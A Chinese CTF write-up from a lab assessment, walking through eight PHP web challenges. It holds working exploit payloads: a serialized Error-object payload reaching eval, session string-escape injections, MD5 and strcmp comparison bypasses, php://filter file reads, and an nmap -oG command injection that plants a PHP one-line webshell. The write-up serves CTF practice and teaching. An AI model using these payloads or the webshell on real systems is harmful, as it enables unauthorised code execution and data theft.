实验室8.19CTF考核wp
- ctf
- 2023-08-19
- 1456热度
- 0评论
web1
先看intval(strrev($_GET['c']))==0x36d,看看chatgpt怎么说

意思是要c=778
然后再看greatif( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
分析代码可以,md5和sha1必须要相等,但数据又不能相等,所以用Error类绕过md5和sha1检测,error类中有_tostring方法,md5()和sha1()函数都会调用__tostring方法
正则检测用取反绕过就行。<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
得到payload:?c=778&great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A41%3A%22D%3A%5Clabwork%5Cphpstudy_pro%5CWWW%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A12%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A41%3A%22D%3A%5Clabwork%5Cphpstudy_pro%5CWWW%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A12%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D%7D

web2
<?php
require('flag.php');
$function = @$_GET['f'];
function filter($img){//是一个过滤器,把符合filter_arr里面的字符替换为空(满足字符串逃逸的条件)
$filter_arr = array('jpg','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);//把$_SESSION重置为空
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//这里就用了变量覆盖的知识
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//把序列化后的$_SESSION用filter函数过滤
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){ //ta骗人,什么都没有
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode(base64_decode($userinfo['img'])));
}
这里注意extract($_POST);
_就是将post的内容作为这个函数的参数。 然后就是变量覆盖。
如果post传参为SESSION[flag]=aaa,那么$SESSION["user"]和$SESSION["function"]的值都会被覆盖。
至于为什么post要传SESSION[flag]=aaa而不是$SESSION[flag]=aaa,是因为SESSION是变量名,如果传$SESSION,那么就会失效。
开始有require('flag.php');说明和这个有关,
应该是通过最后一个语句拿到内容,注意俩次base64解码else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode(base64_decode($userinfo['img'])));
}
对文件名有一次解码所以要对其进行一次base64编码f(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
只能让img_path为空,并把guest_img.png逃逸出去。
因为我们要让img的内容为flag.php base64编码后的字符串,所以要传
_SESSION[img]=;s:3:"img";s:16:"Wm14aFp5NXdhSEE9";}
但我们得到的是

因为在变量覆盖后面,又重新给$SESSION[img]赋值了,所以这个时候就要使用filter函数了
如果我们传的是
_SESSION[imgjpg]=;s:3:"img";s:16:"Wm14aFp5NXdhSEE9";}
那么得到的是a:2:{s:6:"img";s:39:";s:3:"img";s:16:"Wm14aFp5NXdhSEE9";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
这里就有字符串逃逸的意思了
什么意思呢?
就是把前面的"img";s:39:"当成数组名,后面的数组就变成img值为我们要读取的文件了,这里有个细节问题,这里img";s:39:是十个字符,前面却是s:6,怎么变成10呢?那就多转换几个比如改成imgjpgflag 这样可以吗?
_SESSION[imgjpgflag]=;s:3:"img";s:16:"Wm14aFp5NXdhSEE9";}
试了一下不行,什么原因咧
又是一个细节,我们刚刚输入的序列化结果,前面a:2意思是要俩数组,中间缺一个元素

简单,直接再后面加上s:3:"123"来构造_SESSION[imgjpgflag]=;s:3:"123";s:3:"img";s:16:"Wm14aFp5NXdhSEE9";}
再序列化看看

应该没问题了,来到页面,看页面源代码

这好办一样的操作就是把img的值换成flaaaaaag
_SESSION[imgjpgflag]=;s:3:"123";s:3:"img";s:16:"Wm14aFlXRmhZV0Zu";}

web3
查看源码,解码,谐音访问110.php $mo=$_GET['mo'];
$fish=$_GET['fish'];
$logined=false;
$keys=true;
if (!ctype_alpha($mo)){$keys=false;}
if (!is_numeric($fish) ){$keys=false;}
if (md5($mo) == md5($fish))
需要满足mo!=fish,MD5(mo)==MD5(fish)
第一种:使用数组绕过 ?mo[]=112&fishi[]=12
第二种:md5弱比较 ?mo=240610708&fish=QNKCDZO
if('f1a9' === substr(md5($b),-4,4))
要求b的md5后4位为f1a9,上脚本爆破import hashlib
def get_md5(password):
#1- 实例化加密对象
md5 = hashlib.md5()
#2- 进行加密操作
md5.update(password.encode('utf-8'))
#3- 返回加密后的结果
return md5.hexdigest()
for i in range(1,100000):
md51=get_md5(str(i))
if md51[-6:]=='f1a9':
print(i)
得到b=12400if(strcmp($_POST['password'],$password) == 0)
要想绕过验证只需要post一个数组或一个object,PHP为了可以上传一个数组,会在变量后加[],即password[]=1即可绕过成功。if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if($message->key == $key)
{
$logined=true;
}
json_decode()函数解码后key被赋值为0,与环境的key变量进行弱比较,0与任何字符串都相等
所以最后payloadget:?mo=QNKCDZO&fish=240610708&b=12400
post:password[]=1&message={"key":0}

web5
三个参数 text,file,password,先看逻辑,要text和flag is here相等,才能进入if,否则只是高亮本文件。 涉及到data伪协议 ?text=data:text/plain,flag is here php://input ?file=php://filter/convert.base64-encode/resource=flag.php 做任意文件读写
给了提示读取试试

?text=data:text/pain,flag is here&file=php://filter/convert.base64-encode/resource=here.php

解码<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("OMO SO CLOSE !///COME ON");
}
}
}
?>
如果file没有匹配到flag,那就会进入else,通过包含here.php这个文件,生成一个Flag类的对象,就可以让password得到这个参数,之后反序列化得到flag
O:4:“Flag”:1:{s:4:“file”;N;} 增加一个flag.php变成 O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 这样就能读取flag.php的内容
注意这里要是file=here.php,因为之前我们是在读取源码,这里不需要读了,只要包含就行。
/?text=data:text/pain,flag is here&file=here.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

web6
我去,上来看不懂,全程看别的师傅的wp
这有个system来执行命令,而且有传参,肯定是利用这里了
这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚
这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…
这时候就只有想想能不能利用nmap来做些什么了。
这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
这个命令就是我们的输入可控!然后写入到文件!想到了上传一个一句话木马?host=' <?php @eval($_POST["a"]);?> -oG 1.php '
返回文件名

蚁剑连接

找到根目录下有个flag

web7
这题先访问dance.php

结合前后,字符串逃逸

okok替换成nonoo,字符串变长,典型的字符串逃逸,好像和CTFshow上的类似
直接上payload?c=1&x=1&k=okokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokokok ";s:5:"token";s:5:"sings";}

web8
先dirsearch扫

查看发现test.php有东西

抓包

发现遥相呼应

颠倒一下
ZmxhZ3t5dWFuX3NoZW5fY2hlbmdfZ29uZ19xaV9kb25nISEhfQ==
解码

